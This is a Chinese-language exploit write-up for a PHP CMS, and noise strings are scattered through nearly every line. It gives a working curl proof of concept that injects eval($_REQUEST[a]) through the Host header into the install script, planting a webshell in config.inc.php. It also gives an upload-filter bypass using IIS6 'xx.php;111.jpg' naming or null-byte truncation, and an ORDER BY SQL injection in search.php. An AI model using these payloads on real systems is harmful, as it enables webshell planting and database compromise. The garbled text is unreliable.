注入:
& W w; z L. t% Y! W B0 {) G8 i: l' B, t7 u) V r
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
1 p2 Q& K0 A: i' u b 1 ?, j f5 y! ~* e: W3 w: Y
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
/ V5 V' M2 c8 f* t0 @. y' C鸡肋2: 有一定安全常识的站长都会删掉 install 目录, a4 z, \( V* T5 o5 ]" ~( T
2 Q+ K5 l3 S; o虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
, y; A2 [- W# M2 y9 c& R% o
" t% l7 m) q9 P分析:
1 y" Y( f$ S. U' G% C& }. U " I, L1 G+ O6 t
5 U0 m! j A$ W5 f$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤& r6 q$ z' d- V9 Z+ h3 ]) a. k
; O# w$ C9 @+ k. ]# z$ E2 e $filestr = fread(fopen($SysConfigFile, 'r'),30000);
" b( u6 f# [* j. u7 ~6 f! q5 G; z $filestr=str_replace(" ","",$filestr);
, o& Q+ ?9 {* |5 P# [1 f $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);/ r2 L) m9 r9 b* J. M! C: B
$filestr=str_replace("DefaultDbName",$dbname,$filestr);" l) k+ t, w( u) x! g: e
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);7 c% a5 J' r& W! a. I% @4 O: @
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);0 y& @$ D7 v5 `2 [* \; ?/ R
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);3 {, @- ?% h3 r) F' u4 r& o
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
$ o0 H; ]: o. m4 v $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
# b, |# J6 O# J% e7 @
; I+ u- q+ X$ G$ a8 I fwrite(fopen($ConFile,"w"),$filestr,30000);9 Q) h6 Y4 x5 g: Q4 Z2 z
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
2 {/ v6 R6 Y) r. j" \7 J. c9 q! p, T- r " _' {- Q' T1 w8 h& v/ R
poc:
0 ]+ ~8 f; ~ q6 x* ] ; j! y' q9 I9 V3 a7 J
?/ A; {4 C9 q' X" o8 f, J9 R
1+ D k: P' r+ ~4 s( _: s8 k
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": |7 Q6 l/ c1 N8 D( j/ U
shell地址: /config.inc.php
6 y6 r3 Z: a; p, J3 R" a$ A跟之前的 phpcms一样 需要远程数据库
) |6 J" T/ Q% R9 i% j) } 2 r. O" g6 W- g: U5 s/ v5 v
——————————————————–$ N+ J9 H& b& U! V
上传漏洞(需要进后台):
+ F5 H; e. B8 F* _/ f6 i漏洞文件: /kedit/upload_cgi/upload.php
% \, N/ K) Q0 I) Z4 w+ k这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用0 y4 t# H2 m* M+ Z6 S+ y
5 w- L5 `: E: @/ N+ o
5 b* L- Y+ ^4 r, @/ V<?php" T2 S6 {2 b+ |0 o
define("ROOTPATH", "../../");
2 ]* c7 J) [9 t3 H% x include(ROOTPATH."includes/admin.inc.php");; k8 _$ W' _3 o5 S }
NeedAuth(0);% x4 Q' h% g6 b) C. G9 N, }
5 t0 Z! t$ t' r8 a4 F $dt=date("Ymd",time());
: x9 ~* z5 a2 w( a0 F3 v if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
: Z: h& }, r8 X) e @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
7 C' E: ^% i" x- w }
\, O1 f# U5 I2 g4 s& Z% ^9 C 9 \8 j$ U3 p) c0 c+ Q4 D! \, @
//文件保存目录路径
; l) o% A) K. [$ {# K& e8 |* s $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
$ D0 a! C$ q7 J# V6 I; X echo $save_path;% j9 R( B2 V% I% t3 a
//文件保存目录URL# X; E, P# i, L8 G
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
1 q0 G0 b4 ]+ n3 @7 ]6 F3 a
! n3 E3 D y1 [; ?! E6 D //定义允许上传的文件扩展名. {- j* C8 V, _8 j
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
3 o- e- s3 A2 J; Z
" V" ^2 }& s1 I$ h: L% A( y; E6 E //最大文件大小" ]9 [" p/ I! t& y0 @: ^, @
$max_size = 1000000;; n& w5 ~2 }" w
~1 B7 x9 A+ V. i) p5 k //更改目录权限* A& [! Z: K2 ]0 C8 {% {
@mkdir($save_path, 0777);# D. g u# e# c& L
. _! y( |6 E# R( [. A //文件的全部路径
8 q; q: @: A: Y) b; ] $file_path = $save_path.$_POST['fileName']; //保存文件名5 k* ]5 P2 Y4 H. Z1 S Y% Z2 p
5 {0 k6 ^2 x2 o. i, E //文件URL- H( c" L# G8 d$ v% Y* h
$file_url = $save_url.$_POST['fileName'];
0 [; \+ R" g; |7 L7 N' D* I//有上传文件时
% a. @: W1 }3 k' m if (empty($_FILES) === false) {
* L) Y, c$ M# R) }- q8 e # [$ I0 v% p4 g: F( i
//原文件名8 p2 v; y$ ]; b* f8 `& s
$file_name = $_FILES['fileData']['name'];
4 b" o$ s; u( W& E; d$ S- s1 x* ^ //服务器上临时文件名/ ^% K0 x& g+ Q* M2 }0 O
$tmp_name = $_FILES['fileData']['tmp_name'];$ O0 E& f1 |! r8 T7 `. E M' r
//文件大小
. k8 i9 ]: Q. _/ m $file_size = $_FILES['fileData']['size'];
& q( h0 r$ e. J) _7 K% m; O //检查目录
: U- j4 C5 B( K9 l. J$ c8 Q$ f if (@is_dir($save_path) === false) {9 h, c3 u* q: u, p! u& I5 h
alert("上传目录不存在。");
2 x5 I2 [; b8 O! F" ?! ~ }
0 W/ G6 q* d% o9 ~ //检查目录写权限) n) e0 Q) j$ E- {% P* A
if (@is_writable($save_path) === false) {' q( K1 E- }' n( u8 {
alert("上传目录没有写权限。");
+ f( B& f2 P' K: h6 X/ y" }0 c$ ^ }" q6 a1 f6 ]$ m' M& q6 e2 d
//检查是否已上传 I: O& c$ y7 j6 l! H# Q0 m
if (@is_uploaded_file($tmp_name) === false) {
4 I+ T1 C/ r) y, A# Z# v( p# t alert("临时文件可能不是上传文件。");- j' ?8 v1 H+ A# c2 U0 o
}5 R- S6 M$ W7 S5 A' T8 A
//检查文件大小8 w, S2 l7 |$ `, `: w+ G Q% S% j' W o
if ($file_size > $max_size) {( `. Q; e9 J1 X0 g6 [- T% c
alert("上传文件大小超过限制。");
5 x: o& s: g* ?# h: H& M }% C \- A4 b: e# N" Z9 {" K0 B( O
//获得文件扩展名
% }, X- }: t! R: e0 Y $temp_arr = explode(".", $_POST['fileName']);
2 l8 U" X/ M# m1 B $file_ext = array_pop($temp_arr);
" Z8 M+ f4 b2 r: r1 q; r8 H# ^ $file_ext = trim($file_ext);
* u8 x8 J/ O I0 l) z' P: \# x' c $file_ext = strtolower($file_ext);1 g4 e% A Q6 B2 m5 O
0 z. [; }' ^/ c$ @/ U7 t, \1 R //检查扩展名 # ^: S6 n# Y; X
if (in_array($file_ext, $ext_arr) === false) { 3 t% A- u4 Q Y! _. j& y/ P1 `
alert("上传文件扩展名是不允许的扩展名。");
: U/ q. K3 J7 D& ?. f: L }- ?" a" l5 ^, P' K0 O w9 B
- v1 ]4 B6 x( d) B: ~ x, a //移动文件
+ p j9 N/ i5 O$ C- C8 A //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
% N. h8 _7 N' j% C) b7 a if (move_uploaded_file($tmp_name, $file_path) === false) {4 ?8 K, O7 |5 I
alert("上传文件失败。");6 N4 _% w/ G9 E
}
% R) Z0 t6 |9 w ' K: i* l) P# s- ^) j L
@chmod($file_path,0666);
8 K( A6 ~4 M2 R2 a$ `) y* X8 B - v3 _' Q( L' w0 m7 d- N
?>9 n: R* i9 W( M! M8 {$ v5 d9 {* C: \
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227: _: d! `: T/ m& `
/ P. Q! }2 p0 iapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过3 A4 V3 M: d0 l/ h; A
/ X2 O6 D$ f4 f* Z! F" C7 L$ u; a5 K
——————————————————) x, U( W1 s |' ~
注入漏洞:
' r6 ]! H e/ C2 K" `! P漏洞文件:search/module/search.php
; L8 E+ _! `2 z& O* x$ t/search/index.php?key=1&myord=1 [sqlinjection]
, V8 v% _6 x2 v6 C+ x' H
6 F( z$ p- j5 V, F6 y ! Z- p# ~1 P9 h5 s0 d) o6 }0 {
<?php% Q+ x/ T3 O8 r/ I& f
// ... 省略 n 行...% s4 W& A: q' j) x! `
//第18行:
9 I, f1 M" d& R0 D, p+ O $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
w/ a- @ V0 R/ @' {7 f $page=htmlspecialchars($_GET["page"]);) s) h3 V$ k6 ]" V5 L$ s3 e; |! N) S
$myord=htmlspecialchars($_GET["myord"]);
9 v+ y# r% Y; v" Q } 5 X1 r4 _' B# k
// ... 省略 n 行...$ |' U6 t4 f" q; N" e8 M
$key,$myord 两个参数带入查询3 o$ V: i$ y& @/ D" I+ {
//第47行 $key:$ Y- m0 A/ s& V( G
4 ]% X( Q8 M" P% s4 g+ ^5 x8 L/ x+ J $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..' {) u) b% H j* K& k
& D6 r: P, r" k# b- q //第197行 $myord
9 S1 U' m4 b( ]) v7 k7 w! W $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入, q, H/ A4 `7 B3 F7 r
4 v$ W( Y3 M" i. Y8 E) l ?>
' V2 h Y2 K6 S4 J' W( S* d |